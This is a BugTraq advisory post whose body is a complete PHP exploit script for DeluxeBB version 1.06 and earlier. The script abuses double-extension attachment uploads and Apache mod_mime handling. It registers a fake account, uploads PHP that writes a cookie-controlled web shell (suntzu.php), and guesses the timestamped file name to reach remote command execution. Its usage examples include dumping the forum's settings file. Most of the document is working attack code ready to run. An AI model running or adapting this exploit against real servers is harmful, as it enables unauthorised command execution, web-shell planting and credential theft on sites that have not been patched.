BugTraq
DeluxeBB <= v1.06 attachment mod_mime exploit May 16 2006 08:15PM
rgod autistici org
#!/usr/bin/php -q -d short_open_tag=on

<?

echo "DeluxeBB <= v1.06 attachment mod_mime exploit\r\n";

echo "by rgod rgod (at) autistici (dot) org [email concealed]\r\n";

echo "site: http://retrogod.altervista.org\r\n";

echo "tested & working against a fresh deluxebb installation\r\n\r\n";

if ($argc<4) {

echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";

echo "host: target server (ip/hostname)\r\n";

echo "path: path to deluxebb\r\n";

echo "cmd: a shell command\r\n";

echo "Options:\r\n";

echo " -p[port]: specify a port other than 80\r\n";

echo " -P[ip:port]: specify a proxy\r\n";

echo "Examples:\r\n";

echo "php ".$argv[0]." localhost /deluxebb/ cat ./../settings/info.php\r\n";

echo "php ".$argv[0]." localhost /deluxebb/ ls -la -p81\r\n";

echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n\r\n";

die;

}

/*explaination:

you can upload attachments with double extensions, ex.:

test.php.php.rar

file is renamed like this:

test.php.php-1147772503.ext

and copied to the files/ folder, as you can see, new filename is predictable...,

numbers are the result of time() php function, you have just to synchronize

clocks through Apache "Date" header...

It seems that Apache mod_mime module considers double-extension files like

this to be valid PHP files and runs the arbitrary code that has been uploaded,

actually on most versions you can do somethign like this:

http://[target]/[path]/files/test.php.php-1147772503.ext?cmd=ls%20-la

*/

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

}

return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "\r\n".$html;

}

function make_seed()

{

list($usec, $sec) = explode(' ', microtime());

return (float) $sec + ((float) $usec * 100000);

}

function greenwich_timestamp($response)

{

$temp=explode("Date: ",$response);

$temp2=explode("\r\n",$temp[1]);

$is_now=$temp2[0];

$temp=explode(" ",$is_now);$day=$temp[1];$month=$temp[2];$year=$temp[3];$temp2=explode("
:",$temp[4]);

$hour=$temp2[0];$min=$temp2[1];$sec=$temp2[2];

$tb=array ('Jan', '1','Feb', '2','Mar', '3','Apr', '4','May', '5','Jun', '6',

'Jul', '7','Aug', '8','Sep', '9','Oct', '10','Nov', '11','Dec', '12');

for ($i=0;$i<=23;$i++) {if ($month==$tb[$i]) {$month=$tb[$i+1];break;}}

return mktime($hour,$min,$sec,$month,$day,$year);

}

function gmtime() { // Get GM offset.

return time() - (int) date('Z');

}

$host=$argv[1];

$path=$argv[2];

$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if (($temp<>"-p") and ($temp<>"-P"))

{$cmd.=" ".$argv[$i];}

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "step 0 -> Check if suntzu.php is already installed\r\n";

$packet ="GET ".$p."files/suntzu.php HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Cookie: cmd=".$cmd.";\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

if (strstr($html,"56789"))

{

echo "Exploit succeeded...";

$temp=explode("56789",$html);

die("\r\n".$temp[1]."\r\n");

}

echo "step 0b -> Synchronize...\r\n";

$difftime=0;

//Unin epoch time by Apache "Date:" response header

//it carries GMT time... sending HEAD request

$packet ="HEAD / HTTP/1.1\r\nHost: ".$host."\r\nConnection: Close\r\n\r\n";

sendpacketii($packet);

if ((eregi("Date: ",$html)) and ($proxy==''))

{

$itstime=greenwich_timestamp($html);

echo "target host Greenwich timestamp: ".$itstime."\r\n";

$mytime=gmtime();

echo "my greenwich timestamp: ".$mytime."\r\n";

$difftime= $itstime-$mytime;

echo "difftime: ".$difftime."\r\n";

}

else

{

echo "Unable to read \"Date\", assuming difftime = 0\r\n";

}

echo "step 1 -> Register...\r\n";

srand(make_seed());

$anumber = rand(1,99999);

$data="name=suntzu".$anumber;

$data.="&pass=suntzu";

$data.="&pass2=suntzu";

$data.="&email=suntzu".$anumber."%40fakemail.com";

$data.="&hideemail=1";

$data.="&languagex=English";

$data.="&xthetimeoffset=2";

$data.="&xthedateformat=d-m-Y";

$data.="&xthetimeformat=24";

$data.="&submit=Register";

$packet ="POST ".$p."misc.php?sub=register HTTP/1.0\r\n";

$packet.="Content-Type: application/x-www-form-urlencoded\r\n";

$packet.="User-Agent: Googlebot/2.1\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

$temp=explode("Set-Cookie: ",$html);

$cookie="";

for ($i=1; $i<=count($temp)-1; $i++)

{

$temp2=explode(" ",$temp[$i]);

$cookie.=" ".$temp2[0];

}

if ($cookie=='') {

die("Unable to register...");

}

else {

echo "cookie -> ".$cookie."\r\n";

}

echo "step 2 -> Post a new thread with the evil attachment...\r\n";

$attachment='

<?php

$fp=fopen("suntzu.php","w");

fputs($fp,"<?php error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()) {\$_COOKIE[cmd]=stripslashes(\$_COOKIE[cmd]);}echo 56789;passthru(\$_COOKIE[cmd]);echo 56789;?>");

fclose($fp);

chmod("suntzu.php",777);

?>';

$data='-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="subject"

Sun-Tzu, Art of War

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="posticon"

None

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="disablesmilies"

1

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="fileupload"; filename="suntzu'.$anumber.'.php.php.rar"

Content-Type: application/octet-stream

'.$attachment.'

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="MAX_FILE_SIZE"

1048576

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="what"

ciao

-----------------------------7d6ee3a7074a

Content-Disposition: form-data; name="submit"

Post

-----------------------------7d6ee3a7074a--

';

$packet ="POST ".$p."newpost.php?sub=newthread&fid=1 HTTP/1.0\r\n";

$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6ee3a7074a\r\n";

$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Cookie: ".$cookie."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

$mytime=time() + $difftime;

sendpacketii($packet);

sleep(2);

/*

file is renamed in this way:

...

$time = time(); //header.php, line 78

...

...

$saveit = $settings['attachdir'] . $filename . '-' . $time . '.' . 'ext'; //newpost.php, line 218-219

copy($fileupload['tmp_name'], $saveit);

... */

$predict_time=

array (

$mytime,

$mytime + 1,

$mytime + 2,

$mytime + 3,

$mytime + 4,

$mytime + 5,

$mytime + 6

);

for ($i=0; $i<=count($predict_time)-1; $i++)

{

$a=3+$i;

echo "step ".$a." -> trying with suntzu".$anumber.".php.php-".$predict_time[$i].".ext\r\n";

$packet ="GET ".$p."files/suntzu".$anumber.".php.php-".$predict_time[$i].".ext HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

$packet ="GET ".$p."files/suntzu.php HTTP/1.0\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Cookie: cmd=".$cmd.";\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

if (strstr($html,"56789"))

{

echo "Exploit succeeded...";

$temp=explode("56789",$html);

die("\r\n".$temp[1]."\r\n");

}

}

//if you are here...

echo "Exploit failed...";

?>

original url: http://retrogod.altervista.org/deluxebb_106_xpl.html

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